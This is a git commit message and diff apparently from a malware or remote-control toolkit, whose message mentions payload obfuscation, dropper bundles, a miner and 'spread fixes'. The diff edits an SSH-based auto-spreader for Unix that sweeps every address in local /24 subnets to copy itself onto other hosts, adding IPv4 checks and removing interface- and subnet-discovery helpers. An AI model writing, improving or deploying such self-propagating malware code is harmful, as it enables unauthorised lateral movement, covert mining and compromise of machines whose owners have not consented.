fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

agent/deploy/autospread_unix.go

@@ -16,6 +16,9 @@ import (
 )
 
 // StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
+//
+// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
+// BatchMode=yes — passwordless SSH with pre-placed keys is required.
 func StartAutoSpreader(cfg config.RuntimeConfig) {
 	if !cfg.AutoSpread {
 		return
@@ -58,12 +61,18 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 			seen[t] = true
 		}
 		for _, ip := range ips {
+			if !isIPv4(ip) {
+				continue // active sweep is IPv4 /24 only; see subnet.go
+			}
 			subnet := getSubnet(ip)
 			if subnet == "" {
 				continue
 			}
 			for i := 1; i < 255; i++ {
-				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				candidate, ok := ipv4SweepHost(subnet, i)
+				if !ok {
+					break
+				}
 				if candidate == ip || seen[candidate] {
 					continue
 				}
@@ -121,35 +130,3 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 	}
 }
 
-func getLocalIPs() []string {
-	var ips []string
-	ifaces, err := net.Interfaces()
-	if err != nil {
-		return ips
-	}
-	for _, i := range ifaces {
-		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
-			continue
-		}
-		addrs, err := i.Addrs()
-		if err != nil {
-			continue
-		}
-		for _, a := range addrs {
-			if ipnet, ok := a.(*net.IPNet); ok {
-				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
-					ips = append(ips, ip4.String())
-				}
-			}
-		}
-	}
-	return ips
-}
-
-func getSubnet(ip string) string {
-	parts := strings.Split(ip, ".")
-	if len(parts) != 4 {
-		return ""
-	}
-	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
-}